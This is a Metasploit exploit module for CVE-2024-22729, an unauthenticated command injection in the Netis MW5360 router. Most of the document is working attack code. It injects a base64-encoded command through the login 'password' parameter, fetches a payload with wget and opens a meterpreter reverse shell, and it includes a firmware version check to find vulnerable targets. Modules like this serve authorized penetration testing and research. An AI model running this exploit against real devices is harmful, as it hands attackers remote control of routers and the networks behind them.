Netis MW5360 Remote Command Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Netis router MW5360 unauthenticated RCE.',        'Description' => %q{          Netis router MW5360 has a command injection vulnerability via the password parameter on the login page.          The vulnerability stems from improper handling of the "password" parameter within the router's web interface.          The router's login page authorization can be bypassed by simply deleting the authorization header,          leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable.          Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection          vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker          to take control of the router.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Adhikara13' # Discovery of the vulnerability        ],        'References' => [          ['CVE', '2024-22729'],          ['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'],          ['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md']        ],        'DisclosureDate' => '2024-01-11',        'Platform' => ['linux'],        'Arch' => [ARCH_MIPSLE],        'Privileged' => true,        'Targets' => [          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_MIPSLE],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget'],              'DefaultOptions' => {                'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => false,          'RPORT' => 80        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The Netis MW5360 router endpoint URL', '/' ]),      OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30])    ])  end  def execute_command(cmd, _opts = {})    # cleanup payload file when session is established.    if cmd.include?('chmod +x')      register_files_for_cleanup(cmd.split('+x')[1].strip)    end    # skip last command to remove payload because it does not work    unless cmd.include?('rm -f')      payload = Base64.strict_encode64("`#{cmd}`")      print_status("Executing #{cmd}")      send_request_cgi({        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'),        'vars_post' => {          'password' => payload,          'quick_set' => 'ap',          'app' => 'wan_set_shortcut'        }      })    end  end  def check    print_status("Checking if #{peer} can be exploited.")    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'),      'vars_post' => {        'mode_name' => 'skk_get',        'wl_link' => 0      }    })    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version')    # trying to get the model and version number    # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-(    version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/)    # when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison    unless version.nil?      version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop      # The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D      if version[2].upcase.split('-V')[0].include?('-')        model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '')      else        model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '')      end      # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower      if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442'))        return CheckCode::Appears(version[2].chop.to_s)      end      return CheckCode::Safe(version[2].chop.to_s)    end    CheckCode::Safe  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed      execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY'])    end  endend